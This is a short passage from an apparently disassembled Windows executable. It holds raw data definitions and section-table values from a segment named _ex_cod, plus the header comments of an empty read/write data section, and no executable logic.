endp ; --------------------------------------------------------------------------- align 8 off_4356B8 dd offset dword_421000 ; DATA XREF: start+188w start+19Cr ... dword_4356BC dd 8A2400h ; DATA XREF: start+15Fw start+165r ... dword_4356C0 dd 1204Eh ; DATA XREF: start+175w start+21Dw ... dd 2 dup(0) dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dword_4356FC dd 0D4h, 20000h, 1204Eh, 200h, 21000h, 20000h, 34A39h ; DATA XREF: .ex_cod:off_434024o dd 400000h, 10Fh, 20499h, 0 dd 1, 0Dh dup(0) dd 1, 0 dd 12800h, 4, 1, 200h, 0DC00h, 1000h, 15FE7h, 0E0000060h dd 1, 200h, 800h, 17000h, 0E4Ch, 0E0000060h, 1, 200h, 3800h dd 18000h, 70C8h, 0E0000060h, 1, 200h, 800h, 20000h, 620h dd 0E0000060h, 0 _ex_cod ends ; Section 4. (virtual address 00036000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00035800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 436000h dd 80h dup(0) align 1000h _idata2 ends end start